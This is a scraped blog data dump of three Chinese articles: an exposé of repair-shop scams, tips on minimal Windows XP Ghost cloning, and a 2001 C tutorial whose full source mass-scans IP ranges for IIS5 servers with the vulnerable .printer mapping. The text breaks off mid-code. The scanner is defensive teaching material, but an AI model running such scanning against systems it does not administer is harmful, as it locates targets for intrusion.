都坏掉了，如果全修好要多少多少钱（一个高的吓人的数字）。如果用户修，就把用户电脑上的好零件再都换回去，用户搬回去的其实还是自己的电脑，但为了接触 不良甚至是插座、电源线故障付出了沉重的代价；不修，还给用户的时候表面上还是一台黑屏的电脑，但其实好的零件已经全到了维修点手里，用户搬回去的电脑里 都是废件就这么被坑了。对于笔记本用户，最危险的是液晶屏有可能会被无良维修点换掉，这比CPU内存什么被换更加可怕多了！那么给用户这些坏件哪儿来的 呢？你不能说把人家好件都拿走什么都不给装回去，那就漏了。现在大家知道为什么中海市场的坏件都有人买了吧。\n[非常规手段]\n\u0026ldquo;狸猫换太子\u0026rdquo;还会出现在同样是黑屏的情况下，这时虽然确实有坏掉的配件，但用户不愿意花那么多钱来修，想搬别的地儿再看看，货比三家么对不对？黑心维修点是不可能轻易放过你的，都进来了，想全身而退？哼哼\u0026hellip;\u0026hellip;狸猫换太子法有一个共同特点，就是基本都作用在黑屏的电脑上，这是因为买来的坏件通常都是彻底不能用的，如果不是黑屏就无法互换，这种故障现象的消费者要格外注意。相 比于\u0026ldquo;狸猫换太子\u0026rdquo;，少数维修点还有一招更黑的。我们知道维修板卡的收费通常都分成若干档次，不同的维修档次收费不同，修不好当然不能收钱（能修好客户不 修例外，有些大型店要收检测费）。所以用户送去维修的板卡，经过检测以后可以报价的，肯定都是能修好的，而且我要透露个秘密给大家，这时候很多都在检测过 程已经修好了，但是不能跟客户说就是了。这个时候报价给客户，都是在维修人员心有成竹的时候，关键就看用户掏不掏钱了，\n如果掏钱当然一切妥当，如 果用户嫌贵不愿意修，维修店难道白白把修好的板卡送出门？这当然是不行的，因此通常维修点都会把板卡重新弄坏，这里面的\u0026ldquo;弄坏\u0026rdquo;就有学问了，讲良心的维修 点通常会给对方恢复原状，自己自认倒霉白忙活一阵，黑心的维修业者，或者因为嫌麻烦，比如把弄好的各个焊点再开焊，把换上去的好元件再换下来，或者因为自 己损失了时间和精力，甚至出于报复心理，会把板卡彻底弄坏，谁叫你不让我修！老子是你耍得吗？让你也好受不了。如 何把一片板卡彻底弄坏而表面上还看不出来，这在行业内有很多种黑手法，我在采写过程中就亲眼看见过一种：把一片主板用力撅成弧形，听到里面的焊点\u0026ldquo;噼噼啪 啪\u0026rdquo;开裂声，松手后主板虽然恢复\u0026ldquo;原状\u0026rdquo;，但是已经报销了。如果说\u0026ldquo;狸猫换太子\u0026rdquo;是损人利己，那么这一招是纯损人，不利己，咱们不妨叫它做\u0026ldquo;玉石俱焚\u0026rdquo; （好像有点褒奖的意味了？\u0026hellip;\u0026hellip;小编的文学修养确实不行啊）刚才说到的是因为修好了客户不付钱 而导致产品被弄坏，更可恶的是少数水平差心肠黑的维修点，产品修不好，他们也会把板卡完全毁坏，这种人的混帐逻辑是，我这里修不好的东西，你到别人那儿给 修好了，这能行么？这不是给我难看么？所以进了这种地方的板卡，只要没修好，拿出来就别想再修了。\n[维修成本雾里看花]\n除 了换件和弄坏，再有一种就是虚报、夸大问题，这恐怕是最常见也最被大家所痛恨的方式了，明明实际上很小的问题，到了黑心维修点手里经过检测，就变成了很大 的问题，需要花大把银子去修；明明很简单就能排除的故障，非得给你从前到后换一个遍，大把银子掏出去才能修好。这也罢了，更差劲的是换上去的零件往往图便 宜质量不过关，维修、焊接技术往往粗糙的要命，虽然当时看着修好了，但实际上板卡质量大大打了折扣，过不了多久电感烧毁、电容爆浆、焊点开焊全出来了，还 得回去再受罪。举个例子，某知名日本品牌笔记本用户，花一万多元买的笔记本坏了，拿到特约维 修点，检测后说是主板损坏，换一块要花四千九（比五千还少一百，呵呵，看来维修人员也学过心理学），机主一听吓坏了，赶紧拿出来换了一家私人维修点，重新 检测了一阵，说是主板通过各种高科技仪器能修好，要600块，机主高兴坏了赶紧签单不一会儿修好了兴高采烈付了钱抱机器走了，其实只是换了一颗主板上的电 池。再比如，笔记本的液晶屏不亮了，用户急坏了马上拿到维修点去修，维修点热情接待手脚麻利 迅速检测完毕：液晶屏坏，需换屏，费用在4000元左右。用户这叫一个难受，换吧，4000多块大洋，不换？上万的笔记本就歇了。左思右想只好万般不情愿 的拿出一大笔银子，换了屏走了。其实笔记本屏的问题是多种多样的，比如背光灯管坏了，就会造成不亮，虽然液晶屏幕本身没问题，而灯管是可以换的；再比如笔 记本液晶屏的信号线和电源线（简称屏线）都是通过合页从底座进入上盖，合页本身比较脆弱，而且经常开合，遇到外力磕碰或者挤压就容易造成屏线断裂，从而使 得液晶屏黑屏。\n[谨防维修黑手]\n虚 报夸大到了极致，就变成\u0026ldquo;有故障要修，没故障创造故障也要修\u0026rdquo;。放在黑心维修点检测的电脑，往往是小问题被检测成大问题，没问题被检测成有问题，总之不赚 一笔是不会放你走的。这种手法可叫做\u0026ldquo;无中生有\u0026rdquo;。这类欺骗消费者的方法其中有一种需要特别加以注意，送修的机器往往被检测出硬盘有坏道数据全部或者大部 分丢失，需要做数据恢复，收费少则数百元多则数千元。用户觉得太贵，换到别家试试，发现别家确实也检测出来同样的故障，但却无法修复。用户大惑不解之下， 心有不甘的拿回到黑心维修点付了高额恢复费，数据果然全部恢复了！这是怎么回事？说穿了一钱不值，黑心维修点先把数据拷贝出来，然后用某种方法把硬盘轰出 一些坏道或者逻辑错误，然后，就可以正大光明骗钱了！这一招的猥亵之处还在于，除了他没人能解决这个问题。见 识了一些常见的骗钱手段，我们现在再来看看如何防止这种情况的发生。原则就是，你对产品了解越深刻，被骗的可能性就越小，反之就越大，菜鸟是最容易被骗 的。产品送修前，一定要排除软件方面的故障，比如中了病毒或者木马，造成系统死机、不稳定，主板或者显卡bios刷新失败会使得电脑黑屏，此时可通过热插 拔法或者盲操作法将问题恢复，相关操作方法网站上和各类电脑杂志多有介绍，这些都是DIYer自己动手能够解决的故障，实在解决不了要到维修点换 bios，说得清清楚楚也能避免被忽悠。除了软件问题，还要考察是否因为环境问题造成电脑故障，比如电源插线板、电源线接触不良造成的频繁重起动；电网电 压不稳造成电脑死机（电压过低会造成死机，电脑过高和电涌会造成部件损坏）、操作环境灰尘太多造成的电脑不稳定，通常可通过清洁内部消除短路和断路来解 决。总之，一切能用上的手段都应该用上，按照统计，这样能解决电脑故障中的大部分，只有少部分是用户确实无法解决，需要专业维修的。电 脑故障确实属于送修范围，就应该精心挑选维修点。这时的原则是，对于保修期内产品，一定要送到厂商维修点或者特约维修点；对于保修期外产品和无保修的产品 （一些水货），不要选择厂商维修点或特约维修点（除非你很有钱），而应该挑选一家信誉好、技术高的商业维修点。如果不知道维修点的情况，但还是必须送修的 话，那么送修的时候，最好把自己产品主要部件（cpu、主板、内存、硬盘等）的详细规格和编号列表记录清楚同 时给维修点看，或者让对方收机的时候签字确认，如果可能的话，应该把硬盘事先取下来，把故障现象详细写明，并写明排除故障的各种努力，同时把已经排出的问 题也都附上，让维修点知道你对情况很清楚了解，如果能有很懂行的人陪同去维修点就更好。尽量找透明开放操作的维修点，有可能的话最好做立即检测而不是存放 后几天内通知，检测阶段最好全程仔细参观，各个关键步骤不懂的话随时发问，不要怕招人烦，毕竟不被骗要紧。总之，只要细心大胆，不盲从不迷信，遇到问题多 问多想，一定可以把被骗的机会减少到最低的。\n","permalink":"https://hessian.cn/p/631.html","summary":"电脑维修是一个很专业的行业，也正因为专业和普通人难以了解，因此存在着一些惊人的内幕和令人难以想象的行业灰色甚至是黑 色操作，当然，绝大多数维修业者都是勤恳专业遵纪守法的，但有极少数维修企业或者个人、作坊，他们的行为是我们不了解内情的局外人初看起来无法理解的。 \u0026nbsp;\u0026nbsp;计算机的主板和显卡，作为电子电路行业中的高精尖领域，其制造和维修的技能、设备和方法 专业性都很强，普通人不要说掌握，就算眼睁睁看到了，也未必能了解维修人员在干什么。大家可以拿电视、影碟机或者是音响内的电路板，去和电脑主板、显卡比 较一下，就会发现电脑的板卡要精密得多。\u0026nbsp;\u0026nbsp;电脑板卡通常是4层板、6层板甚至是8层板，上 面的布线密密麻麻，大量体积极小的贴片元件和高集成度芯片占绝对主导地位，只有各个重要核心部件比如CPU、GPU的供电模块才会用到直立元件。一块典型 的主板在其30厘米*20厘米的表面上会有1000多个各种零件，而其中某些零件（比如集成显示核心的北桥芯片）一个零件就集成了几千万个晶体管！这些在 主板和显卡上面司空见惯的景象，在其他产品，比如家电产品和工业用嵌入式设备的电路板上是难以看到的。\u0026nbsp;\u0026nbsp;我 上大学的时候还做过充电器，电路板都是自己画自己泡的，我记得上面还有个分立元件的桥式电路，跟现在的电脑板卡比起来真是笑掉大牙了。哈哈。这么说吧，电 脑的庞大规模和飞速发展造成了电脑板卡的高度专业化和复杂化，而这一点又造成了电脑零部件制造和维修的专业性和复杂性，从而在产业化的大潮中，为各种灰色 现象提供了温床。\u0026nbsp;\u0026nbsp;[常见三种维修企业形式] 电脑维修企业一般分为三种类型\n[厂商售后服务部门]第 一种是厂家或全国代理商自己开办的维修售后服务部，专门为自己的产品提供维修，不是自己的产品不接或者很少接，这通常都是大厂和很大的全国代理开设的。特 点是维修人员比较精通本职，但通常不是学识渊博的全能人才，维修点产品资料、备件都很齐备，保修期内产品占了工作量的大部分，因为维修人员大部分以工资为 主，所以黑暗现象少。这类维修点的问题一是一般都在很偏远的工业区，当然可以通过购买的经销 渠道去返修，但时间会比较长；二是超过保修期和不在保修范围内比如烧损、硬损的产品维修费比较贵。这是因为，有很多厂家对外的维修中心并不真正维修，只能 叫备件更换中心，主要的任务就是把有问题的配件换下来返回到真正板卡生产厂家去维修，他自身并没有维修设备，也没有芯片级的维修工程师，所以保修还好，只 要花钱修就会很贵，一个爆浆电容也敢收几千给换个主板。\n[授权专业维修中心]\n第 二种是大型的专门维修企业，这一类通常同时是某个或者某些厂家签约的特约维修中心，这些厂家自己不建对外售后服务部门，委托给专业企业来做，比如IBM笔 记本的维修通道蓝色快车。这类维修企业有很多特点跟第一类相似，比较正规，除了做厂家维修点外，同时也接其他产品，技术比较可靠，产品资料、备件都齐全， 缺点和第一类相同，只要花钱修就比较贵。\n我家里的苹果ibook笔记本坏了送到特约维修中心，他们同时还做HP、Compaq等笔记本的维修，维 修人员跟我说我这个需要换主板，如果不在保修期内，换一块主板要将近七千元。我的天！我买这二手ibook还不到七千的一半呢！更奇怪的是维修人员告诉 我，修的话是免费，如果不修就要交85元的检测费，这是因为这类企业在修保修期内的产品虽然不从客户收费，但他们要从签约厂家收钱，如果客户不修，那他们 就没法从厂家收费了。\n[个人维修商户]第 三种是散布在中关村内各个地方数量众多良莠不齐精华与糟粕并存的私人维修企业。这类企业通常都是在厂家或者特约维修做的时间长技术高的资深维修工程师，为 了多挣钱，自立门户出来创办的，因此公平的说虽然大型维修店都很专业，但技术最精湛水平最高的维修师傅往往在私人维修点。同时，私人维修点主要靠修水货和 过保、保外产品，它们的运营成本最低，操作方式最灵活（除非是黑心维修店，否则绝对不会为了一个电容换主板），维修价格最便宜，有的时候要比前两类低非常 多，这就是为什么私人维修点大江南北如火如荼这么红火的缘故。但是，因为私人维修点都是为了 挣钱，而且挣的都是专业基础差的最终用户的钱（相对而言，第二类企业主要利润来自签约厂家，而厂家是非常懂行的；至于第一类企业，则几乎没有利润需求）， 所以各种不正规和丑恶现象也都会看到。当然，这并不是说前两类企业就没这方面的问题，只是出现机会少。\n","title":"掀开电脑维修的黑幕"},{"content":"在病毒猖獗的互联网时代，小小的Ghost给大家帮了不少忙!\u0026#8211;3分钟克隆，3分钟恢复，瞬间系统还原如初!　然而，人们总是在追求更简便的应用，于是，网络内外到处都有关于Ghost最小化克隆的经验技巧。可令人遗憾的是，对目前Windows XP的最小化克隆，误导性的操作比比皆是，以讹传讹!　误导之一：删除C盘根目录下的页面文件Hiberfil.sys　一种做法是教读者一步步打开\u0026ldquo;控制面板\u0026rarr;电源选项\u0026rarr;休眠\u0026rdquo;，取消勾选\u0026ldquo;启用电源\u0026rdquo;;另一种做法则更卖力\u0026mdash;\u0026mdash;在DOS 6.22里找到Deltree.exe命令文件，复制到系统盘根目录，然后再通过各种方式将电脑启动到纯DOS，执行Deltree Hiberfil.sys命令以将其删除\u0026#8211;因为在Windows下删不掉Hiberfil.sys!　误导之二：移动虚拟内存或删除Pagefile.sys文件　也有两种误导方式：一是移动虚拟内存到其他分区;二是同上面一样，启动到纯DOS通过Deltree来删除。　其实，以上两个文件尽管很大(默认情况下，Hiberfil.sys一般为255MB，Pagefile.sys一般为384MB)，但用Ghost软 件进行克隆时，Ghost并没有将它们复制到.gho文件里面去\u0026#8211;我曾用Ghost 6.0/7.0/8.0等多个版本反复进行过多次对比克隆，不管是系统盘有没有这两个文件，克隆的最终结果都是433351KB(423MB)左右;同 时，用鬼探测者(GhostEXP.exe)打开.gho文件，也都没有Hiberfil.sys和Pagefile.sys的身影!既然如此，何必多此 一举!　那么，使要克隆的系统盘最小化，可取的措施有哪些呢?　1. 通过Sfc.exe /purgecache清除文件缓存，这是最见效的一招，可将系统减少370MB左右;　2. 通过对系统盘进行搜索，找出所有的.cab、.zip压缩包，移走或删除(能减少85MB左右);　3. 通过Cleanmgr(附件里的磁盘清理工具)以及对 .tmp、$ 临时文件的搜索等方式删除临时文件;　4. 至于帮助文件、字体文件、桌面墙纸文件等，可以移走或删除;　5. 对于系统自作主张为你安装的组件，比如MSN、OE、附件里的游戏等等，可通过\u0026ldquo;添加/删除程序\u0026rdquo;将其卸载;　6. 很重要的一个习惯：将所有程序都安装在另一个分区，以减少系统分区的大小;　7. 删除系统盘根目录下的用于系统还原的记载及备份\u0026mdash;\u0026mdash;对于XP系统来说，即便是系统刚装好，也可能在System Volume Information目录中存在几十乃至上百MB的备份文件(单击\u0026ldquo;工具\u0026rarr;文件夹选项\u0026rarr;查看\u0026rdquo;，取消勾选\u0026ldquo;隐藏受保护的操作系统文件\u0026rdquo;即可看到)。这一 步一般放在最后也就是克隆之前做，这样才能彻底清空，因为只要你的系统还原功能没有关闭，在其监视之下你所做的一切修改都将在C:System Volume Information里备案!当然，删除了它们，在此之前所做的一切修改也就不能还原了!\n","permalink":"https://hessian.cn/p/411.html","summary":"在病毒猖獗的互联网时代，小小的Ghost给大家帮了不少忙!\u0026#8211;3分钟克隆，3分钟恢复，瞬间系统还原如初!　然而，人们总是在追求更简便的应用，于是，网络内外到处都有关于Ghost最小化克隆的经验技巧。可令人遗憾的是，对目前Windows XP的最小化克隆，误导性的操作比比皆是，以讹传讹!　误导之一：删除C盘根目录下的页面文件Hiberfil.sys　一种做法是教读者一步步打开\u0026ldquo;控制面板\u0026rarr;电源选项\u0026rarr;休眠\u0026rdquo;，取消勾选\u0026ldquo;启用电源\u0026rdquo;;另一种做法则更卖力\u0026mdash;\u0026mdash;在DOS 6.22里找到Deltree.exe命令文件，复制到系统盘根目录，然后再通过各种方式将电脑启动到纯DOS，执行Deltree Hiberfil.sys命令以将其删除\u0026#8211;因为在Windows下删不掉Hiberfil.sys!　误导之二：移动虚拟内存或删除Pagefile.sys文件　也有两种误导方式：一是移动虚拟内存到其他分区;二是同上面一样，启动到纯DOS通过Deltree来删除。　其实，以上两个文件尽管很大(默认情况下，Hiberfil.sys一般为255MB，Pagefile.sys一般为384MB)，但用Ghost软 件进行克隆时，Ghost并没有将它们复制到.gho文件里面去\u0026#8211;我曾用Ghost 6.0/7.0/8.0等多个版本反复进行过多次对比克隆，不管是系统盘有没有这两个文件，克隆的最终结果都是433351KB(423MB)左右;同 时，用鬼探测者(GhostEXP.exe)打开.gho文件，也都没有Hiberfil.sys和Pagefile.sys的身影!既然如此，何必多此 一举!　那么，使要克隆的系统盘最小化，可取的措施有哪些呢?　1. 通过Sfc.exe /purgecache清除文件缓存，这是最见效的一招，可将系统减少370MB左右;　2. 通过对系统盘进行搜索，找出所有的.cab、.zip压缩包，移走或删除(能减少85MB左右);　3. 通过Cleanmgr(附件里的磁盘清理工具)以及对 .tmp、$ 临时文件的搜索等方式删除临时文件;　4. 至于帮助文件、字体文件、桌面墙纸文件等，可以移走或删除;　5. 对于系统自作主张为你安装的组件，比如MSN、OE、附件里的游戏等等，可通过\u0026ldquo;添加/删除程序\u0026rdquo;将其卸载;　6. 很重要的一个习惯：将所有程序都安装在另一个分区，以减少系统分区的大小;　7. 删除系统盘根目录下的用于系统还原的记载及备份\u0026mdash;\u0026mdash;对于XP系统来说，即便是系统刚装好，也可能在System Volume Information目录中存在几十乃至上百MB的备份文件(单击\u0026ldquo;工具\u0026rarr;文件夹选项\u0026rarr;查看\u0026rdquo;，取消勾选\u0026ldquo;隐藏受保护的操作系统文件\u0026rdquo;即可看到)。这一 步一般放在最后也就是克隆之前做，这样才能彻底清空，因为只要你的系统还原功能没有关闭，在其监视之下你所做的一切修改都将在C:System Volume Information里备案!当然，删除了它们，在此之前所做的一切修改也就不能还原了!\n","title":"走出Windows XP系统最小化克隆误区"},{"content":"有很多网站为了安全起见，在WEB Server前面架了防火墙，或者做了TCP/IP过滤，对外只开放TCP 80 端口。从入侵者角度来看，要入侵那 么从80上跑的CGI入手是比较可行的，当然也可以用别的办法，例如旁敲侧击，呵呵。从网管角度来看，一是要保证CGI的安全性，另外网络的整体安全性也 是很重要的。针对基于80端口入侵、防范而出的CGI扫描器数不胜数，但基本上原理都一样。\nCGI扫描器原理说起来其实非常简单，可以用四句话来概括：\u0026lt;1\u0026gt;连接目标WEB SERVER；\u0026lt;2\u0026gt;发送一个特殊的请求；\u0026lt;3\u0026gt;接收目标服务器返回数据；\u0026lt;4\u0026gt;根据返回数据判断目标服务器是否有此CGI漏洞。\n当管理的服务器达到一定数量的时候，手工检测自己的服务器是否存在各种各样的CGI漏洞，那就太消耗时间和精力了，所以一个网管手上有个比较好用的 CGI漏洞扫描器还是必要的。OK！今天我们就自己来动手用C写一个简单的CGI扫描器，帮助自己在日常工作中检测服务器：））\n源代码如下，很多地方我都加了注释，别嫌我烦哦：））编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。\n/*************************************************************************\n说明：这是一个Console下多线程，带有进度显示的CGI扫描器的模板，更改一下szSign和SendBuff就可以扫描其他CGI漏洞，设置了连接、发送、接收超时，速度还可以哦。希望可以帮助到admins检测自己的服务器：））\n*************************************************************************/\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;winsock2.h\u0026gt;\n#include \u0026lt;time.h\u0026gt;\n#define iPort 80//目标Web Server端口\n#define szSign \u0026quot;500 13rnServer: Microsoft-IIS/5.0\u0026quot;//根据此标志来检查目标是否有漏洞\n#pragma comment(lib,\u0026quot;ws2_32.lib\u0026quot;)\n///////////////////////////////////////////////////////////////////////////\n//\nfile://定义\u0026amp;初始化全局变量\n//\nchar *SendBuff=\u0026quot;GET /NULL.printern\u0026quot;,//发送的请求buff\nCurrentTarget[52]={0},//存放最后一个线程将扫描的目标\nturn[4][2]={\u0026quot;-\u0026quot;,\u0026quot;\\\u0026quot;,\u0026quot; \u0026quot;,\u0026quot;/\u0026quot;};//显示进度时的字符\nint SendBuffLen=strlen(SendBuff),//发送的buff长度\niConnTimeout,//TCP Connect TimeOut\nii=0,//扫描进度\niTotal;//服务器总数\nHANDLE hSemaphore=NULL,//信标内核对象句柄，用来控制线程数量\nhStdout;//console标准输出句柄，做进度显示的时候用的\nstruct timeval　timeout;//连接、发送和接收的超时值\nDWORD SleepTime;//每个一个线程后等待的时间\n/*\nSleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。确保在 CONNTIMEO时间左右开　ThreadNum个线程。这样在CONNTIMEO时间后，所开的线程开始陆续超时退出，可以继续稳定的开线程， 可以有效的保证同时有　ThreadNum个线程在运行。\n*/\n///////////////////////////////////////////////////////////////////////////\nvoid ShowError(char *);//显示出错信息函数，可以写完善一些，偶偷懒了：）\nBOOL ResetCursor(void);//重置光标位置，线程输出的时候调用的\nDWORD WINAPI ShowProInfo(LPVOID);//显示进度信息\nDWORD WINAPI scan(LPVOID);//扫描函数\nvoid usage(char *);//帮助函数\n///////////////////////////////////////////////////////////////////////////\nint main(int argc,char **argv)\n{\nHANDLE hThread=NULL;//线程句柄\nDWORD dwThreadID;//线程ID\nstruct sockaddr_in sa;\nint i,\nMaxThread;//最大线程数量\nWSADATA　wsd;\nlong PreviousCount;\nclock_t start,end;//程序运行的起始和结束时间\ndouble duration;\nfile://检查用户输入参数\nif(argc!=5)\n{\nusage(argv[0]);\nreturn 1;\n}\nfile://get target range\nint StartNet=inet_addr(argv[1]);\nint StopNet=inet_addr(argv[2]);\nint StartHost=ntohl(StartNet);\nint StopHost=ntohl(StopNet);\nfile://取得线程数量\nMaxThread=atoi(argv[3]);\nfile://取得conn超时时间\niConnTimeout=atoi(argv[4]);\nfile://检查参数合法性\nif((iConnTimeout\u0026gt;6) (iConnTimeout\u0026lt;2) (MaxThread\u0026lt;1) (MaxThread\u0026gt;500) (StopHost\u0026lt;StartHost))\n{\nusage(argv[0]);\nreturn 1;\n}\nfile://计算时间\nSleepTime=1000*iConnTimeout/MaxThread;\nfile://设置连接超时值\ntimeout.tv_sec = iConnTimeout;\ntimeout.tv_usec =0;\n__try\n{\nfile://开始计时\nstart=clock();\nfile://加载winsock库\nif (WSAStartup(MAKEWORD(1,1), \u0026amp;wsd) != 0)\n{\nShowError(\u0026quot;WSAStartup\u0026quot;);\n__leave;\n}\nfile://创建信标内核对象句柄\nhSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);\nif(hSemaphore==NULL)\n{\nShowError(\u0026quot;CreateSemaphore\u0026quot;);\n__leave;\n}\nfile://取得console标准输出句柄\nhStdout=GetStdHandle(STD_OUTPUT_HANDLE);\nif(hStdout==INVALID_HANDLE_VALUE)\n{\nShowError(\u0026quot;GetStdHandle\u0026quot;);\n__leave;\n}\nfile://设置目标总数\niTotal=StopHost-StartHost;\nfile://创建进度显示线程\nhThread=CreateThread(NULL,0,ShowProInfo,NULL,0,\u0026amp;dwThreadID);\nif(hThread==NULL)\n{\nShowError(\u0026quot;1 CreateThread\u0026quot;);\n__leave;\n}\nfile://关闭句柄\nCloseHandle(hThread);\nfile://循环创建扫描线程\nfor(i=StartHost;i\u0026lt;=StopHost;i++)\n{\nfile://等待信标内核对象通知\nWaitForSingleObject(hSemaphore,INFINITE);\nfile://create thread to scan\nhThread=CreateThread(NULL,0,scan,(LPVOID)i,0,\u0026amp;dwThreadID);\nif(hThread==NULL)\n{\nShowError(\u0026quot;2 CreateThread\u0026quot;);\nbreak;\n}\nfile://进度自加1\nii++;\nfile://重设最后一个线程扫描的目标\nsa.sin_addr.s_addr=htonl(i);\nstrncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));\nfile://休息一会儿:))\nSleep(SleepTime);\nfile://关闭线程句柄\nCloseHandle(hThread);\n}\nfile://等待所有线程结束\nwhile(1)\n{\nWaitForSingleObject(hSemaphore,INFINITE);\nif(!ReleaseSemaphore(hSemaphore,1,\u0026amp;PreviousCount))\n{\nShowError(\u0026quot;main() ReleaseSemaphore\u0026quot;);\nSleep(5000);\nbreak;\n}\nif(PreviousCount==(MaxThread-1))\n{\nprintf(\u0026quot;nAll done.\u0026quot;);\nbreak;\n}\nSleep(500);\n}\n}//end of try\nfile://搞定，清场，收工\n__finally\n{\nfile://计时结束\nend=clock();\nfile://转换时间格式\nduration = (double)(end \u0026#8211; start) / CLOCKS_PER_SEC;\nfile://显示所用时间\nprintf(\u0026quot;nnComplete.Scan %d targets use %2.1f seconds.Speed %0.3g/sn\u0026quot;,iTotal,duration,iTotal/duration);\nfile://关闭句柄\nCloseHandle(hStdout);\nCloseHandle(hSemaphore);\nWSACleanup();\n}\nreturn 0;\n}\n///////////////////////////////////////////////////////////////////////////\n//\nfile://回显错误信息函数\n//\nvoid ShowError(char *msg)\n{\nMessageBox(NULL,msg,\u0026quot;ERROR\u0026quot;,0);\nfile://printf(\u0026quot;n%s failed:%d\u0026quot;,GetLastError());\n}\n//////////////////////////////////////////////////////////////////////////\n//\nfile://重置光标位置函数，以便扫描线程输出结果\n//\nBOOL ResetCursor()\n{\nCONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;\nfile://取得当前光标位置\nif(!GetConsoleScreenBufferInfo(hStdout,\u0026amp;ConsoleScreenBufferInfo))\n{\nShowError(\u0026quot;GetConsoleScreenBufferInfo\u0026quot;);\nreturn FALSE;\n}\nfile://设置光标X坐标为0\nConsoleScreenBufferInfo.dwCursorPosition.X=0;\nfile://设置当前光标位置\nSetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);\nreturn TRUE;\n}\n///////////////////////////////////////////////////////////////////////////\n//\nfile://显示进度信息函数\n//\nDWORD WINAPI ShowProInfo(LPVOID lp)\n{　int j,k;\nCONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;\nfloat m;\nfor(j=0;ii\u0026lt;iTotal;j++)\n{\nfile://休息一会儿:)))\nSleep(SleepTime);\nfile://取得当前光标位置\nif(!GetConsoleScreenBufferInfo(hStdout,\u0026amp;ConsoleScreenBufferInfo))\n{\nShowError(\u0026quot;GetConsoleScreenBufferInfo\u0026quot;);\nreturn 1;\n}\nfile://设置百分比进度显示的X坐标\nConsoleScreenBufferInfo.dwCursorPosition.X=0;\nfile://设置当前光标位置\nSetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);\nfile://已经完成的百分比\nm=(ii+1)*100.00/iTotal;\nfile://显示进度\nif(ii==iTotal)\n{\nprintf(\u0026quot;******** 100%% Wait %d seconds to exit ********　n\u0026quot;,iConnTimeout);\nbreak;\n}\nelse\n{\nk=j%4;\nprintf(\u0026quot;%-15s %s [%d/%d] %s %%%0.3g\u0026quot;,CurrentTarget,turn[k],ii,iTotal,turn[k],m);\n}\n}//end of for\nreturn 0;\n}\n///////////////////////////////////////////////////////////////////////////\n//\nfile://扫描函数\n//\nDWORD WINAPI scan(LPVOID lp)\n{\nint i=(int)lp,iErr;\nstruct sockaddr_in server;\nSOCKET s=INVALID_SOCKET;\nchar RecvBuff[1024]={0},*ptr;\nint RecvBuffLen=sizeof(RecvBuff);\nu_long ul=1;//初始化为为非0值\nfd_set　r,w;\nfile://create socket\ns=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\nif(s==INVALID_SOCKET)\n{\nprintf(\u0026quot;nCreate socket failed:%d\u0026quot;,GetLastError());\nExitProcess(1);\n}\nfile://fill the addr struct\nserver.sin_family=AF_INET;\nserver.sin_port=htons(iPort);\nserver.sin_addr.S_un.S_addr=htonl(i);\n__try\n{\nfile://设置socket为非锁定模式,ul为0值的话，那么soocket将被设置为锁定模式\niErr=ioctlsocket(s,FIONBIO,(unsigned long*)\u0026amp;ul);\nif(iErr==SOCKET_ERROR )\n{\nResetCursor();\nShowError(\u0026quot;ioctlsocket\u0026quot;);\nExitProcess(1);\n}\nfile://printf(\u0026quot;n%X ioctl ok.strat conn\u0026quot;,i);\nfile://connect to target\nconnect(s,(struct sockaddr *)\u0026amp;server,sizeof(server));\nfile://printf(\u0026quot;n%X conn return,start select w\u0026quot;,i);\nfile://设置select参数\nFD_ZERO(\u0026amp;w);\nFD_SET(s, \u0026amp;w);\nfile://等待connect成功\u0026amp;socket可写\niErr=select(0, 0, \u0026amp;w, 0, \u0026amp;timeout);\nfile://printf(\u0026quot;n%X select w return %d\u0026quot;,i,iErr);\nfile://等待返回后，socket仍不可写则退出\nif((iErr==SOCKET_ERROR) (iErr==0))\n{\nfile://printf(\u0026quot;n%X select return w err,exit\u0026quot;,i);\n__leave;\n}\nfile://socket可写则继续\nelse\n{\nfile://send buff to target\nfile://printf(\u0026quot;n%X send\u0026quot;,i);\niErr=send(s,SendBuff,SendBuffLen,0);\nfile://printf(\u0026quot;n%X send return\u0026quot;,i);\nif(iErr==SOCKET_ERROR)\n__leave;\n}\nfile://等待socket可读\nFD_ZERO(\u0026amp;r);\nFD_SET(s, \u0026amp;r);\nfile://printf(\u0026quot;n%X start select r\u0026quot;,i);\niErr=select(0, \u0026amp;r, 0, 0, \u0026amp;timeout);\nfile://printf(\u0026quot;n%X select r return %d\u0026quot;,i,iErr);\nif((iErr==SOCKET_ERROR) (iErr==0))\n{\nfile://printf(\u0026quot;n%X select r err,exit\u0026quot;,i);\n__leave;\n}\nelse\n{\nfile://recv buff from target\nfile://printf(\u0026quot;n%X start recv\u0026quot;,i);\niErr=recv(s,RecvBuff,RecvBuffLen,0);\nfile://printf(\u0026quot;n%X recv ret\u0026quot;,i);\nif(iErr==SOCKET_ERROR)\n__leave;\n}\nfile://verify buff\nptr=strstr(RecvBuff,szSign);\nif(ptr!=NULL)\n{\nfile://线程输出前要先调用ResetCursor函数\nResetCursor();\nfile://输出信息后务必加一个以上换行符号，输出前请别加换行符号，以免显示混乱\nprintf(\u0026quot;[%-15s] has .printer mapped.　n\u0026quot;,inet_ntoa(server.sin_addr));\n}\n}\n__finally\n{\nif(!ReleaseSemaphore(hSemaphore,1,NULL))\nShowError(\u0026quot;thread ReleaseSemaphore failed\u0026quot;);\nclosesocket(s);\n}\nreturn 0;\n}\n///////////////////////////////////////////////////////////////////////////\nvoid usage(char *proname)\n{\nprintf(\u0026quot;n%s v0.1 only can find IIS5 .Printer mapped\u0026quot;\n\u0026quot;nPower by ey4s\u0026lt;ey4s@21cn.com\u0026gt; 2001.5.20\u0026quot;\n\u0026quot;nhttp://www.patching.net\u0026quot;\n\u0026quot;nnUsage:%s \u0026lt;StartIP\u0026gt; \u0026lt;EndIP\u0026gt; \u0026lt;ThreadNum\u0026gt; \u0026lt;CONNTIMEO\u0026gt;\u0026quot;\n\u0026quot;nnNotice\u0026quot;\n\u0026quot;n　StartIP StopIP ==\u0026gt;Don\u0026lsquo;t forgot StopIP must large than StartIP \u0026quot;\n\u0026quot;n　ThreadNum ==\u0026gt;Thread number,please input between 